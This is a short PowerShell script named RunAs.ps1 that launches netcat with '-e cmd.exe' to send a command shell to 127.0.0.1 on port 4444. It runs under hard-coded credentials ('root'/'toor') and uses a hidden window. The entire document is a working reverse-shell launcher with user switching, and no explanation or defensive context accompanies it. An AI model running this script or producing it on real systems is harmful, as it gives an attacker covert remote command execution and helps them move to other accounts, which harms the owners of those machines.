RunAs.ps1

$cmd="nc.exe";
$args="127.0.0.1 4444 -e cmd.exe";
$user="root";
$pass= ConvertTo-SecureString "toor" -AsPlainText -Force;
$p = New-Object System.Diagnostics.Process;
$p.StartInfo.FileName = $cmd;
$p.StartInfo.Arguments = $args;
$p.StartInfo.CreateNoWindow = $True;
$p.StartInfo.UseShellExecute = $False;
$p.StartInfo.UserName = $user;
$p.StartInfo.Password = $pass;
$p.Start();
$p.WaitForExit();